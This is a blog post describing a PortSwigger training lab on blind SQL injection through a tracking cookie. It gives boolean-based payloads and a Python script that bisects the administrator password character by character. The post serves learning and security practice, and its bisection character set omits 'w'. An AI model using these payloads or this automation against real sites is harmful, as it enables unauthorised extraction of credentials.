tiramisu-one/content/blog/2024/01/blind-sqli-automation/index.md

---
title: "Automating Blind SQL Injection on Cookies"
date: 2024-01-23
---

Earlier this evening, I was working through one of the [PortSwigger SQL
injection
labs](https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses)
which requires you to determine an administrator password by injecting some SQL
into a cookie and checking if the content of the page changes because a
resulting query succeeded or failed.

## The attack

Basically say you have a cookie `TrackingId` with a value like
`nCoQWoq8E7c6vj1e` and the page runs a query like `SELECT ... FROM trackers
WHERE id = 'nCoQWoq8E7c6vj1o'` and inserts a "Welcome Back" banner onto the page
if the query succeeds and doesn't if it fails.

This means you can get creative with the value of the cookie to do some SQL
injection and use the boolean output (either the banner displays or it doesn't)
to extract information.

To validate that there is a SQL injection path available you can try the
following two values for the cookie:

```markdown
nCoQWoq8E7c6vj1o' AND '1'='1
nCoQWoq8E7c6vj1o' AND '1'='0
```

This transforms the query from something like this:

```sql
SELECT tracker FROM trackers WHERE id = 'nCoQWoq8E7c6vj1o';
```

Into your modified query:

```sql
SELECT tracker FROM trackers WHERE id = 'nCoQWoq8E7c6vj1o' AND '1'='0';
```

Now this might not seem very useful off the bat but you can extract a lot of
information out of the database this way. Consider the following query.

```sql
SELECT tracker FROM trackers WHERE id = 'nCoQWoq8E7c6vj1o' AND
  (SELECT password FROM users WHERE username = 'administrator') = 'hunter2';
```

Now if the "Welcome Back" banner displayed on the site you would know that you
had properly guessed the admin password because the condition evaluated to true.
Now this isn't any more helpful than just trying to brute force the password on
the login page (other than maybe just bypassing some rate-limits and monitoring).
But what you can do to speed this up is to try to guess each letter at a time,
and you can bifurcate while you're at it. Consider the following three queries
(borrowed directly from the [PortSwigger
tutorial](https://portswigger.net/web-security/sql-injection/blind)).

```sql
-- This succeeds
SELECT tracker FROM trackers WHERE id = 'nCoQWoq8E7c6vj1o' AND SUBSTRING(
  (SELECT password FROM users WHERE username = 'administrator'), 1, 1) >= 'm';

-- This fails
SELECT tracker FROM trackers WHERE id = 'nCoQWoq8E7c6vj1o' AND SUBSTRING(
  (SELECT password FROM users WHERE username = 'administrator'), 1, 1) >= 't';
 
-- This succeeds
SELECT tracker FROM trackers WHERE id = 'nCoQWoq8E7c6vj1o' AND SUBSTRING(
  (SELECT password FROM users WHERE username = 'administrator'), 1, 1) = 's';
```

We now know the first letter of the administrator password is 's'!

Looking directly at the cookie values they were as follows:

```markdown
nCoQWoq8E7c6vj1o' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), 1, 1) >= 'm
nCoQWoq8E7c6vj1o' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), 1, 1) >= 't
nCoQWoq8E7c6vj1o' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), 1, 1) = 's
```

This is a pretty nifty attack that lets us systematically derive the
administrators password.

## The Problem

Happily, I got to work on the lab and started bifurcating each letter of the
administrator's password. The issue was by the time I got done doing this for 5
letters in the password I was desperately hoping it was only 5 characters long.
I had the same thoughts 8 characters, 10 characters, and 16 characters. This
process was incredibly tedious and involved refreshing the page, updating the
cookie info based on what I had just learned, saving the cookie, and refreshing
the page again.

Obviously there had to be a better way, but because I kept feeling like I was
just around the corner from cracking it I ended up powering through all 20
characters of the password. 20! This took me well over 30 minutes I think.

Clearly, this sort of repetitive work is something that should be automated.

## The Solution

So let's take a crack at this using the python requests library (mainly because
it is the one I've used in the past). Let's start by simply getting the page as
is:

```python
import requests
url = "https://{SOME_HEX_ID}.web-security-academy.net/"
r = requests.get(url)
print(r.status_code)
print(r.text)
```

And viola it works! At least we don't have to pretend we're a browser or
something to get the page properly. Next up lets try to get the "Welcome Back!"
banner.

```python
cookies = {
    "TrackingId": "CjAZljYSS9X1ZfRg",
}
r = requests.get(url, cookies=cookies)
```

Incredibly this also works on the first try! Now let's generalize this into a
function that tells us whether a specific cookie gets a good response or not.

```python
def injection_works(inject_str):
    url = "https://0a0400cc04bd096f82089e9e005900a9.web-security-academy.net/"
    cookies = {
        "TrackingId": f"CjAZljYSS9X1ZfRg{inject_str}",
    }
    r = requests.get(url, cookies=cookies)
    if r.status_code != 200:
        print(r.status_code)
        print(r.text)
        sys.exit("Request failed")
    return "Welcome back!" in r.text


if __name__ == "__main__":
    print(injection_works(""))
```

For the purposes of this we can just match the exact string in the response
text, we don't need to actually parse it using beautiful soup or something.

Now we can use this function to bisect the first character like so:

```python
def determine_character(char_num):
    base_inj_str = "' AND SUBSTRING("
                   "(SELECT password FROM users WHERE username = 'administrator'), {}, 1) < '{}"
    # There has got to be a cleaner way to do this right?
    base_charset = "0123456789abcdefghijklmnopqrstuvxyz"
    charset = base_charset[:]
    while len(charset) > 1:
        mid_char_num = int(len(charset) / 2)
        mid_char = charset[mid_char_num]
        inj_str = base_inj_str.format(char_num, mid_char)
        if injection_works(inj_str):
            # The character is less than our midpoint.
            charset = charset[:mid_char_num]
        else:
            # The character is greater than or equal to our midpoint.
            charset = charset[mid_char_num:]
        time.sleep(1)
        print(charset)
    return charset[0]

if __name__ == "__main__":
    print(determine_character(1))
```

This successfully identifies the first character in the administrator password as
'1'.

Finally we just need to do this iteratively until we reach the end of the
password. While doing this manually I learned that when you take a substring
outside of a strings length in MySQL it just returns an empty string. Lets add a
case to detect that before trying to bifurcate a character, because as I
learned annoyingly the first time around, the empty string will always compare
as less than a single character. We can use that to our advantage however and
simply test that whether the string is less than a character we know we won't
see (as we know the password is lowercase alphanumeric) like the '!'.

```python
def determine_character(char_num):
    base_inj_str = "' AND SUBSTRING("
                   "(SELECT password FROM users WHERE username = 'administrator'), {}, 1) < '{}"
    base_charset = "0123456789abcdefghijklmnopqrstuvxyz"
    if injection_works(base_inj_str.format(char_num, '!')):
        return None
    ...
```

Then in the main function we can use an [assignment
expression](https://peps.python.org/pep-0572/) to loop until the function
returns None.

```python
if __name__ == "__main__":
    char_num = 1
    password = ""
    while char := determine_character(char_num):
        password += char
        char_num += 1
    print(password)
```

And this worked on the first try! It got the password in around 3 minutes
(mainly hampered by the slow response time of the server but I didn't want to
hammer the kind people at PortSwagger by parallelizing this). And all told this
took me just over 50 minutes to write (including this blog post though). And
while that was slightly longer than the time it took me to do this manually it
was wayyyy less tedious and it's repeatable!

Overall, I found this very enjoyable as I have played with SQL injections in the
past but I haven't tried to automate anything around it and this was a cool
opportunity to do that.